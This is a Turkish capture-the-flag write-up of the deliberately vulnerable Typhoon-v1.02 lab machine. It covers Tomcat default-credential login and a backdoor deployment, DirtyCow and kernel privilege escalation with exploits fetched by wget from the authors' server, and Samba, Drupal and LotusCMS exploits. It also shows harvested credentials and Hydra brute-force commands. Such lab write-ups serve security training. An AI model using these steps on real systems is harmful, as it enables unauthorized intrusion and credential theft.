Typhoon-v1.02 WRITEUP

Hazırlayanlar: Alp Eren Işık Feyzi Yuşa Karababa


PRISMA CSI tarafından hazırlanan Typhoon-v1.02 makinesini elimizden geldiği kadar çözmeye çalıştık ve sizler için ufak bir writeup hazırladık. Biz çözerken çok zevk aldık umarım sizler içinde zevkli bir writeup olur. ***

NMAP

İlk aşamada Nmap ile port taraması yaparak çalışan servisleri ve versiyonları öğrendik. Devamında bu servisler ve versiyonları üzerinden mevcut exploitleri araştıracağız.

nmap

Apache Tomcat

Metasploit kullanarak use auxiliary/scanner/http/tomcat_mgr_login scanner kullanarak tomcat parolasını bulmaya çalışıyoruz.

Aşşağıda gördüğünüz gibi tomcat username ve password bulmuş oluyoruz

Daha sonra 10.242.24.216:8080/manager adresine giderek bulmuş olduğumuz username (tomcat) ve password (tomcat) ile giriş yapıyoruz.

Giriş yaptıktan sonra tekrar Metasploitimize geri dönüyoruz ve msfvenom ile backdoor oluşturuyoruz.

Daha sonra oluşturmuş olduğumuz bu backdooru girmiş olduğumuz tomcat üzerinden deploy ediyoruz

Deploy ettikten sonra tekrar Metasploitimize gelerek use exploit/multi/handler yazıyoruz daha sonra modülümüze bağlanacağımız backdoor payloadımızı ve bilgilerimizi giriyoruz.

Artık tarayıcımızdan 10.242.24.216:8080/manager/typhoon/lyrzruiw.jsp adresine girebiliriz.

Bu aşamadan sonra sunucuda ROOT olmaya çalışacağız.

Yetki Yükseltme - 1 (dirtycow)

https://www.exploit-db.com/exploits/40616   Backconnect olduğumuz makinemizde **C** kodunu derleyemediğimiz için derleme işlemini uzak sunucuda gerçekleştirmeye karar verdik.

Uzak sunucumuzda wget https://www.exploit-db.com/raw/40616/index.html ile komutları çektik ve uzak sunucumuzda bunu derledik. Daha sonra Typhoon makinesinde wget https://sunucu_adresi/prisma diyerek derlenmiş C kodunu makinemize yüklemiş olduk. Derleyip wget ile çekmiş olduğumuz exploitimizi makinemizde çalıştırdık ve ROOT olduk. Son olarak echo 0 > /proc/sys/vm/dirty_writeback_centisecs komutunu girerek exploitimizin stabil olmasını sağlayarak sunucunun crash olmasını engelliyoruz. :)

Yetki Yükseltme - 2 (Ubuntu Kernel Exploit)

https://www.exploit-db.com/exploits/37292/ Yukarıda anlatmış olduğumuz işlemleri bu exploitimiz ile de uygulayarak `wget https://sunucu_adresi/ubn` ile çekmiş olduğumuz exploitimizi makinemizde çalıştırarak  **ROOT** oluyoruz. :)

Samba smbd 3.X - 4.X (ROOT)

Github Code = https://github.com/rapid7/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb

Çalışan versiyonda bir exploit olduğunu öğrendik. Githubda bulduğumuz kodu wget ile /opt/metasploit/modules/exploits/linux/samba/ dizini altına is_known_pipename.rb ismiyle kaydettik. Daha sonra metasploit üzerinden exploiti kullanarak makinemizde ROOT olduk. :)

NOT: Eğer bu aşamadan sonra root olmaz ise devamında dirtycow ile rootlayabilirsiniz.

Phpmyadmin Username && Password

Sunucumzuda root olduktan sonra içeriye bir de shell atalım dedik. Shellimizden dizinleri ve dosyaları gezerken /var/www/html/dvwa/config/config.inc.php dosyası içerisinde phpmyadmin kullanıcı adı ve parolasını bulduk.

Kullanıcı Adı ve Parolası

Shellimizi attıktan sonra bir de mongoadmin dikkatimizi çekti ve biz de http://192.168.43.114/mongoadmin/ adresine gittik.

credentials Bir değişiklik yapmadan bu şekilde aratıyoruz.

creds (2)

Kullanıcı adı ve parolasını öğrenmiş olduk.

URL= http://192.168.43.114/mongoadmin/index.php?db=credentials&action=listRows&collection=creds

Username : typhoon && Password : 789456123

PostgreSQL DB 9.3.3 - 9.3.5 Exploit ile Dosya Okuma

Çalışan PostgreSQL sürümünde dosyaları okumamıza imkan sağlayan bir exploit olduğunu farkettik. ve Metasploitimiz ile işe koyulmaya başladık :)

auxiliary/admin/postgres/postgres_readfile

Not: 'exploit' yerine 'set RFILE ../okunacak_dosya' komutu ile dosyaları okuyabilirsiniz

Drupal-8 RCE


view-source:http://192.168.1.60/drupal diyerek drupalın sürümünün 8 olduğunu öğrendikten sonra aklımıza Drupal-8 de bulunan RCE geldi.

Drupal RCE CVE-2018-7600 : https://www.exploit-db.com/exploits/44448/


Drupalın register bölümünde mevcut olan RCE zaafiyeti.

Bunun dışında şöyle bir yöntem izlenebilir , drupalın default olarak config dosyası sites/default/settings.php de bulunmakta. Bunu RCE açığı ile okuyup database username ve password bilgileri alınıp phpmyadmine giriş yapılabilir.

NOT: Post olarak gönderdiğimizde ilk olarak shell atmaya çalıştık fakat drupalın dizininde yazma izni yoktu. Ardından pwd komutu ile bulunduğu dizini öğrendik. Sonra var/www/html dizininde yazma izni olduğunu gördük ve shellimizi yükledik. :)

LotusCMS RCE Exploit

use exploit/multi/http/lcms_php_exec
https://www.exploit-db.com/exploits/18565/   Sistemin kullandığı CMS yazılımının LotusCMS olduğunu öğrendik ve google'da kısa bir araştırma yaptıktan sonra **RCE** exploitinin olduğunu gördük. Daha sonra kullanacağımız exploiti ve bilgilerimizi girdikten sonra `exploit` diyerek çalıştırıyoruz.

Brute Force ile Parola Tespiti


Burada Hydra ile SSH ve FTP ‘ye brute force yaparak parolayı bulduk.

hydra -t 1 -l typhoon -P /home/fkarababa/Masaüstü/pass.txt -vV 192.168.1.60 ssh

hydra -t 1 -l typhoon -P /home/fkarababa/Masaüstü/pass.txt -vV 192.168.1.60 ftp *** SSH

FTP